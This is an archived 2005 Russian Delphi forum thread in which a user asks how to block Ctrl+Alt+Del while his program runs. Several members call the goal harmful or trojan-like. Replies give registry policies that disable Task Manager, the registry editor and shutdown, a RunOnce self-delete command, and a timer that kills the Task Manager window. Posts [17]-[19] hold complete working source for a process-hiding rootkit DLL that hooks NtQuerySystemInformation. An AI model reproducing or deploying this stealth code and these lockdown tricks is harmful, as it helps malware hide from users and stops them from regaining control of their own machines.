Главная страница
    Top.Mail.Ru    Яндекс.Метрика
Форум: "WinAPI";
Текущий архив: 2005.06.29;
Скачать: [xml.tar.bz2];

Вниз

Delete Ctrl+Alt+Del   Найти похожие ветки 

 
Volume ©   (2005-05-04 16:55) [0]

каким образом можно ПОЛНОСТЬЮ отключить сочетание Ctrl+Alt+Del на время работы программы? Пробовал программно отключить клаву - не помогло!


 
Anatoly Podgoretsky ©   (2005-05-04 17:11) [1]

И славо богу


 
Gero ©   (2005-05-04 17:16) [2]

Никак, да это и ни к чему.


 
RedStranger   (2005-05-04 17:17) [3]

А как ты пытался ее программно отключить?


 
alpet ©   (2005-05-04 18:04) [4]

Напиши драйвер, перехвати аппаратное прерывание IRQ1 и делай с клавой все что хочешь, если сможешь.


 
Volume ©   (2005-05-04 19:21) [5]

alpet ©   (04.05.05 18:04) [4]
А ты так сможешь?


 
alpet ©   (2005-05-04 20:23) [6]

Volume ©   (04.05.05 19:21) [5]
Я смогу, только не на Delphi, а на BP7.0 и не под Windows, а под DOS :)

Если серьезно - за такую задачу лучше браться с помощью DDK & MSVC++. Я драйверов под Win32 еще не писал.


 
Volume ©   (2005-05-04 21:51) [7]

А есть такие, кто сможет решить мою проблему?


 
Gero ©   (2005-05-04 22:47) [8]


> Volume ©   (04.05.05 21:51)

Я могу.
Пришли мне свою клавиатуру, я удалю из нее клавиши Ctrl, Alt и Del.
Потом отошлю тебе обратно.
Обойдется все это всего лишь в 1000$, не считая стоимости пересылки.


 
Alpine   (2005-05-04 23:35) [9]

В Win9х  делается так :
procedure TForm1.Button1Click(Sender: TObject);
var old:Boolean;
begin
old:=True;
//Запретить CTRL+ALT+DEL
SystemParametersInfo(SPI_SCREENSAVERRUNNING,1,@old,0);
end;

procedure TForm1.Button2Click(Sender: TObject);
var old:Boolean;
begin
old:=True;
//Разрешить CTRL+ALT+DEL
SystemParametersInfo(SPI_SCREENSAVERRUNNING,0,@old,0);
end;

В win2k/xp надо в реестре!

HKEY_CURRENT_USER\
Software\Microsoft\Windows\CurrentVersion\Policies\System\
DisableTaskMgr
Подраздел System скорей всего нужно создать!
В созданном подразделе System cоздай "ПАРАМЕТР DWORD" DisableTaskMgr
со значением 1-выключает (0 включает)


 
Marser ©   (2005-05-05 00:08) [10]

Глобальный хук (WH_KEYBOARD или др.), отлавливающий данную комбинацию, может помочь.


 
Eraser ©   (2005-05-05 16:20) [11]

Во, нашёл!
(по моему Root key здесь HKEY_LOCAL_MACHINE)

[Запретить диспетчер задач (Alt+Ctrl+Delete)]
Key=\Software\Microsoft\Windows\CurrentVersion\Policies\System
Value=DisableTaskMgr

[Запретить редактор реестра]
Key=\Software\Microsoft\Windows\CurrentVersion\Policies\System
Value=DisableRegistryTools

[Скрыть иконку "Сетевое окружение"]
Key=\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\ClassicStartMenu
Value={208D2C60-3AEA-1069-A2D7-08002B30309D}

[Скрыть иконку "Вся сеть"]
Key=\Software\Microsoft\Windows\CurrentVersion\Policies\Network
Value=NoEntireNetwork

[Скрыть рабочие группы]
Key=\Software\Microsoft\Windows\CurrentVersion\Policies\Network
Value=NoWorkgroupContents

[Запретить настройку рабочего стола]
Key=\Software\Microsoft\Windows\CurrentVersion\Policies\System
Value=NoDispCPL

[Не сохранять настройки рабочего стола]
Key=\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Value=NoSaveSettings

[Запретить команду "Выполнить"]
Key=\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Value=NoRun

[Запретить "Избранное"]
Key=\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Value=NoFavoritesMenu

[Запретить "Завершение работы"]
Key=\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Value=NoClose

[Запретить "Документы"]
Key=\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Value=NoRecentDocsMenu

[Запретить доступ к "Пуск"]
Key=\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Value=NoSetFolders


 
Gero ©   (2005-05-05 16:36) [12]


> [Запретить диспетчер задач (Alt+Ctrl+Delete)]

Диспетчер задач, но не Ctrl+Alt+Del.


 
Eraser ©   (2005-05-05 16:42) [13]

Gero ©

Это понятно! Эт я так к слову подкинул... может кому пригодится...

Volume ©

А вот блокировать Ctrl+Alt+Del не нужная и вредная задача.


 
Anatoly Podgoretsky ©   (2005-05-05 16:55) [14]

Eraser ©   (05.05.05 16:42) [13]
Не вредная, вредительская.


 
Volume ©   (2005-05-06 17:43) [15]

Alpine   (04.05.05 23:35) [9]

На xp всё работает в ручную проверял, а вот, чтобы программа создавала DWORD ключ и записывала туда значения на этапе FormCreate.

Исходил из этого:
uses
  Registry;

// Read REG_DWORD
procedure TForm1.Button1Click(Sender: TObject);
var
  Reg: TRegistry;
  RegKey: DWORD;
  Key: string;
begin
  Reg := TRegistry.Create;
  try
    Reg.RootKey := HKEY_USERS;
    Key := ".DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\URL History";
    if Reg.OpenKeyReadOnly(Key) then
    begin
      if Reg.ValueExists("DaysToKeep") then
      begin
        RegKey := Reg.ReadInteger("DaysToKeep");
        Reg.CloseKey;
        ShowMessage(IntToStr(RegKey));
      end;
    end;
  finally
    Reg.Free
  end;
end;

// Write REG_DWORD
procedure TForm1.Button2Click(Sender: TObject);
var
  Reg: TRegistry;
  Key: string;
begin
  Reg := TRegistry.Create;
  try
    Reg.RootKey := HKEY_USERS;
    Key := ".DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\URL History";
    if Reg.OpenKey(Key, True) then
    begin
      Reg.WriteInteger("DaysToKeep", 20);
      Reg.CloseKey;
    end;
  finally
    Reg.Free
  end;
end;

Кто может показать рабочую версию?


 
АНТИСпаммер   (2005-05-07 05:12) [16]

А можно вопрос : А нафига отключать ?
Пишем троян в 400 кб ? Не забудь про инсталлятор :)
На wasm.ru тебе дорога...

Мучайся на здоровье ..


 
АНТИСпаммер   (2005-05-07 05:17) [17]

library Hide;

uses
 Windows,
 TlHelp32;

type

 SYSTEM_INFORMATION_CLASS = (
   SystemBasicInformation,
   SystemProcessorInformation,
   SystemPerformanceInformation,
   SystemTimeOfDayInformation,
   SystemNotImplemented1,
   SystemProcessesAndThreadsInformation,
   SystemCallCounts,
   SystemConfigurationInformation,
   SystemProcessorTimes,
   SystemGlobalFlag,
   SystemNotImplemented2,
   SystemModuleInformation,
   SystemLockInformation,
   SystemNotImplemented3,
   SystemNotImplemented4,
   SystemNotImplemented5,
   SystemHandleInformation,
   SystemObjectInformation,
   SystemPagefileInformation,
   SystemInstructionEmulationCounts,
   SystemInvalidInfoClass1,
   SystemCacheInformation,
   SystemPoolTagInformation,
   SystemProcessorStatistics,
   SystemDpcInformation,
   SystemNotImplemented6,
   SystemLoadImage,
   SystemUnloadImage,
   SystemTimeAdjustment,
   SystemNotImplemented7,
   SystemNotImplemented8,
   SystemNotImplemented9,
   SystemCrashDumpInformation,
   SystemExceptionInformation,
   SystemCrashDumpStateInformation,
   SystemKernelDebuggerInformation,
   SystemContextSwitchInformation,
   SystemRegistryQuotaInformation,
   SystemLoadAndCallImage,
   SystemPrioritySeparation,
   SystemNotImplemented10,
   SystemNotImplemented11,
   SystemInvalidInfoClass2,
   SystemInvalidInfoClass3,
   SystemTimeZoneInformation,
   SystemLookasideInformation,
   SystemSetTimeSlipEvent,
   SystemCreateSession,
   SystemDeleteSession,
   SystemInvalidInfoClass4,
   SystemRangeStartInformation,
   SystemVerifierInformation,
   SystemAddVerifier,
   SystemSessionProcessesInformation
   );

 _IMAGE_IMPORT_DESCRIPTOR = packed record
   case Integer of 0: (
       Characteristics: DWORD);
     1: (
       OriginalFirstThunk: DWORD;
       TimeDateStamp: DWORD;
       ForwarderChain: DWORD;
       Name: DWORD;
       FirstThunk: DWORD);
 end;
 IMAGE_IMPORT_DESCRIPTOR = _IMAGE_IMPORT_DESCRIPTOR;
 PIMAGE_IMPORT_DESCRIPTOR = ^IMAGE_IMPORT_DESCRIPTOR;

 PFARPROC = ^FARPROC;

const
 ImagehlpLib = "IMAGEHLP.DLL";

function ImageDirectoryEntryToData(Base: Pointer; MappedAsImage: ByteBool;
 DirectoryEntry: Word; var Size: ULONG): Pointer; stdcall; external ImagehlpLib
   name "ImageDirectoryEntryToData";

function AllocMem(Size: Cardinal): Pointer;
begin
 GetMem(Result, Size);
 FillChar(Result^, Size, 0);
end;


 
АНТИСпаммер   (2005-05-07 05:18) [18]

procedure ReplaceIATEntryInOneMod(pszCallerModName: Pchar; pfnCurrent: FarProc;
 pfnNew: FARPROC; hmodCaller: hModule);
var
 ulSize: ULONG;
 pImportDesc: PIMAGE_IMPORT_DESCRIPTOR;
 pszModName: PChar;
 pThunk: PDWORD;
 ppfn: PFARPROC;
 ffound: LongBool;
 written: DWORD;
begin
 pImportDesc := ImageDirectoryEntryToData(Pointer(hmodCaller), TRUE,
   IMAGE_DIRECTORY_ENTRY_IMPORT, ulSize);
 if pImportDesc = nil then
   exit;
 while pImportDesc.Name <> 0 do
 begin
   pszModName := PChar(hmodCaller + pImportDesc.Name);
   if (lstrcmpiA(pszModName, pszCallerModName) = 0) then
     break;
   Inc(pImportDesc);
 end;
 if (pImportDesc.Name = 0) then
   exit;
 pThunk := PDWORD(hmodCaller + pImportDesc.FirstThunk);
 while pThunk^ <> 0 do
 begin
   ppfn := PFARPROC(pThunk);
   fFound := (ppfn^ = pfnCurrent);
   if (fFound) then
   begin
     VirtualProtectEx(GetCurrentProcess, ppfn, 4, PAGE_EXECUTE_READWRITE,
       written);
     WriteProcessMemory(GetCurrentProcess, ppfn, @pfnNew, sizeof(pfnNew),
       Written);
     exit;
   end;
   Inc(pThunk);
 end;
end;

var
 addr_NtQuerySystemInformation: Pointer;
 mypid: DWORD;
 fname: PCHAR;
 mapaddr: PDWORD;
 hideOnlyTaskMan: PBOOL;

 { By Wasm.ru}

function myNtQuerySystemInfo(SystemInformationClass: SYSTEM_INFORMATION_CLASS;
 SystemInformation: Pointer;
 SystemInformationLength: ULONG; ReturnLength: PULONG): LongInt; stdcall;
label
 onceagain, getnextpidstruct, quit, fillzero;
asm
push ReturnLength
push SystemInformationLength
push SystemInformation
push dword ptr SystemInformationClass
call dword ptr [addr_NtQuerySystemInformation]
or eax,eax
jl quit
cmp SystemInformationClass,SystemProcessesAndThreadsInformation
jne quit
onceagain:
mov esi,SystemInformation
getnextpidstruct:
mov ebx,esi
cmp dword ptr [esi],0
je quit
add esi,[esi]
mov ecx,[esi+44h]
cmp ecx,mypid
jne getnextpidstruct
mov edx,[esi]
test edx,edx
je fillzero
add [ebx],edx
jmp onceagain
fillzero:
and [ebx],edx
jmp onceagain
quit:
mov Result,eax
end;

procedure InterceptFunctions;
var
 hSnapShot: THandle;
 me32: MODULEENTRY32;
begin
 addr_NtQuerySystemInformation := GetProcAddress(getModuleHandle("ntdll.dll"),
   "NtQuerySystemInformation");
 hSnapShot := CreateToolHelp32SnapShot(TH32CS_SNAPMODULE, GetCurrentProcessId);
 if hSnapshot = INVALID_HANDLE_VALUE then
   exit;
 try
   ZeroMemory(@me32, sizeof(MODULEENTRY32));
   me32.dwSize := sizeof(MODULEENTRY32);
   Module32First(hSnapShot, me32);
   repeat
     ReplaceIATEntryInOneMod("ntdll.dll", addr_NtQuerySystemInformation,
       @MyNtQuerySystemInfo, me32.hModule);
   until not Module32Next(hSnapShot, me32);
 finally
   CloseHandle(hSnapShot);
 end;
end;


 
АНТИСпаммер   (2005-05-07 05:18) [19]

procedure UninterceptFunctions;
var
 hSnapShot: THandle;
 me32: MODULEENTRY32;
begin
 addr_NtQuerySystemInformation := GetProcAddress(getModuleHandle("ntdll.dll"),
   "NtQuerySystemInformation");
 hSnapShot := CreateToolHelp32SnapShot(TH32CS_SNAPMODULE, GetCurrentProcessId);
 if hSnapshot = INVALID_HANDLE_VALUE then
   exit;
 try
   ZeroMemory(@me32, sizeof(MODULEENTRY32));
   me32.dwSize := sizeof(MODULEENTRY32);
   Module32First(hSnapShot, me32);
   repeat
     ReplaceIATEntryInOneMod("ntdll.dll", @MyNtQuerySystemInfo,
       addr_NtQuerySystemInformation, me32.hModule);
   until not Module32Next(hSnapShot, me32);
 finally
   CloseHandle(hSnapShot);
 end;
end;

var
 HookHandle: THandle;

function CbtProc(code: integer; wparam: integer; lparam: integer): Integer;
 stdcall;
begin
 Result := 0;
end;

procedure InstallHook; stdcall;
begin
 HookHandle := SetWindowsHookEx(WH_CBT, @CbtProc, HInstance, 0);
end;

var
 hFirstMapHandle: THandle;

function HideProcess(pid: DWORD; HideOnlyFromTaskManager: BOOL): BOOL; stdcall;
var
 addrMap: PDWORD;
 ptr2: PBOOL;
begin
 mypid := 0;
 result := false;
 hFirstMapHandle := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, 8,
   "NtHideFileMapping");
 if hFirstMapHandle = 0 then
   exit;
 addrMap := MapViewOfFile(hFirstMapHandle, FILE_MAP_WRITE, 0, 0, 8);
 if addrMap = nil then
 begin
   CloseHandle(hFirstMapHandle);
   exit;
 end;
 addrMap^ := pid;
 ptr2 := PBOOL(DWORD(addrMap) + 4);
 ptr2^ := HideOnlyFromTaskManager;
 UnmapViewOfFile(addrMap);
 InstallHook;
 result := true;
end;

exports
 HideProcess;

var
 hmap: THandle;

procedure LibraryProc(Reason: Integer);
begin
 if Reason = DLL_PROCESS_DETACH then
   if mypid > 0 then
     UninterceptFunctions()
   else
     CloseHandle(hFirstMapHandle);
end;

begin
 hmap := OpenFileMapping(FILE_MAP_READ, false, "NtHideFileMapping");
 if hmap = 0 then
   exit;
 try
   mapaddr := MapViewOfFile(hmap, FILE_MAP_READ, 0, 0, 0);
   if mapaddr = nil then
     exit;
   mypid := mapaddr^;
   hideOnlyTaskMan := PBOOL(DWORD(mapaddr) + 4);
   if hideOnlyTaskMan^ then
   begin
     fname := allocMem(MAX_PATH + 1);
     GetModuleFileName(GetModuleHandle(nil), fname, MAX_PATH + 1);
     // if not (ExtractFileName(fname)="taskmgr.exe") then exit;
   end;
   InterceptFunctions;
 finally
   UnmapViewOfFile(mapaddr);
   CloseHandle(Hmap);
   DLLProc := @LibraryProc;
 end;
end.

Текст програмки, прячущей саму себя:

Код

program HideProj;

uses
 windows, messages;

function HideProcess(pid: DWORD; HideOnlyFromTaskManager: BOOL): BOOL; stdcall;
 external "hide.dll";

function ProcessMessage(var Msg: TMsg): Boolean;
var
 Handled: Boolean;
begin
 Result := False;
 begin
   Result := True;
   if Msg.Message <> WM_QUIT then
   begin
     Handled := False;
     begin
       TranslateMessage(Msg);
       DispatchMessage(Msg);
     end;
   end
 end;
end;

procedure ProcessMessages;
var
 Msg: TMsg;
begin
 while ProcessMessage(Msg) do {loop}
   ;
end;

begin
 HideProcess(GetCurrentProcessId, false);
 while true do
 begin
   ProcessMessages;
 end;
end.


 
Просто Джо ©   (2005-05-07 07:07) [20]

Вот статья от Майкрософта. Неча велосипеды изобретать ;)

http://go.microsoft.com/fwlink/?LinkId=25699


 
Volume ©   (2005-05-07 13:34) [21]

Кто ни буть приведите пример кода каким образом можно создать путь в реестре по адресу: HKEY_CURRENT_USER\
Software\Microsoft\Windows\CurrentVersion\Policies\System\
и параметр DWORD с именем DisableTaskMgr и занчением 1.


 
Eraser ©   (2005-05-07 13:36) [22]

Volume ©

Через класс TRegistry из модуля registry.


 
Volume ©   (2005-05-07 15:16) [23]

Eraser ©   (07.05.05 13:36) [22]
Посмотри [15], можешь исходя из этого или не из этого написать код?


 
Rez@k   (2005-05-07 15:42) [24]

Blin, ne ta davno na www.delphi.hostmos.ru 4ital kak, a shas ego nakruli...


 
Eraser ©   (2005-05-07 16:26) [25]

Volume ©

Попробуй... но я бы применил стандартный способ администрирования, т.к. всякие обходные пути прикроют скорее рано, чем поздно.


 
Volume ©   (2005-05-07 17:07) [26]

Кто может написать код?


 
Eraser ©   (2005-05-07 17:31) [27]

Volume ©

За тебя прогу писать тут никто не стобирается.


 
alpet ©   (2005-05-07 18:21) [28]

Volume ©   (07.05.05 17:07) [26]
>Кто может написать код?

Да все могут, только за деньги.

Поищи в сети или в справке VCL: TRegistry
Там должен быть пример использования этого класса.


 
Vit@ly ©   (2005-05-07 19:18) [29]

Кажется, что ветка затянулась:)
Здесь примерный ответ
procedure TForm1.Button1Click(Sender: TObject);
var
 APath: array[0..255] of char;
begin
if GetShortPathName(PChar(ParamStr(0)),APath,SizeOf(APath) - 1) <> 0 then
 begin
   {Work with TRegistry}
   with TRegistry.Create do
   try
     {Set Root Key}
     RootKey := HKEY_LOCAL_MACHINE;
     {Open Key, creating key if it does not exist}
     if OpenKey("\Software\Microsoft\Windows\CurrentVersion\RunOnce",True)
     then begin
       WriteString("MyApp","command.com /c del " + APath);
       {Close the Key}
       CloseKey;
     end;
   finally
     {Free TRegistry}
     Free;
   end;
 end;
end;


 
Vit@ly ©   (2005-05-07 21:03) [30]

Прошу извинения, не туда запостил:(
Только что заметил (отлучался)
:(


 
Wolfram ©   (2005-05-07 23:18) [31]

Народ, если надо отключить Ctrl+Alt+Del на время работы программы, зачем тогда реестр марать? Проще окно диспетчера задач убивать.
procedure TForm1.Timer1Timer(Sender: TObject);
var
 h:THandle;
begin
h:=FindWindow(nil,"Windows Task Manager");
if h<>0 then SendMessage(h,WM_CLOSE,0,0);
end;

Этот способ имеет ряд недостатков, но зато простой как три рубля.


 
Alpine   (2005-05-08 00:26) [32]

2 Volume

Пользуйся на здоровье:

var
 Reg: TRegistry;
begin
 Reg := TRegistry.Create;
 try
   Reg.RootKey := HKEY_CURRENT_USER;
   if Reg.OpenKey("\Software\Microsoft\Windows\CurrentVersion\Policies\System\", True) then
  begin
     Reg.WriteInteger("DisableTaskMgr",1);
     Reg.CloseKey;
   end;
 finally
   Reg.Free;
   inherited;
 end;

end;


 
Volume ©   (2005-05-08 13:50) [33]

Всем БОЛЬШОЕ спасибо!

     Тему можно закрыть.


 
programmerts2   (2005-05-09 22:42) [34]

А зачем отключать эти кнопочки, у тебя вирус что-ли?



Страницы: 1 вся ветка

Форум: "WinAPI";
Текущий архив: 2005.06.29;
Скачать: [xml.tar.bz2];

Наверх




Память: 0.55 MB
Время: 0.044 c
14-1117448242
Yegorchic
2005-05-30 14:17
2005.06.29
Сертификат "Лаборант-программист"


1-1118234930
alexa
2005-06-08 16:48
2005.06.29
Как из dll вызвать функцию основной программы?


9-1111405001
krt
2005-03-21 14:36
2005.06.29
DreamCast


4-1114425641
Leonid
2005-04-25 14:40
2005.06.29
Как определить версию Windows ?


6-1111118939
TankMan
2005-03-18 07:08
2005.06.29
Хотелось бы узнать алгоритм поиска компьютеров в сети...





Afrikaans Albanian Arabic Armenian Azerbaijani Basque Belarusian Bulgarian Catalan Chinese (Simplified) Chinese (Traditional) Croatian Czech Danish Dutch English Estonian Filipino Finnish French
Galician Georgian German Greek Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Korean Latvian Lithuanian Macedonian Malay Maltese Norwegian
Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish Bengali Bosnian
Cebuano Esperanto Gujarati Hausa Hmong Igbo Javanese Kannada Khmer Lao Latin Maori Marathi Mongolian Nepali Punjabi Somali Tamil Telugu Yoruba
Zulu
Английский Французский Немецкий Итальянский Португальский Русский Испанский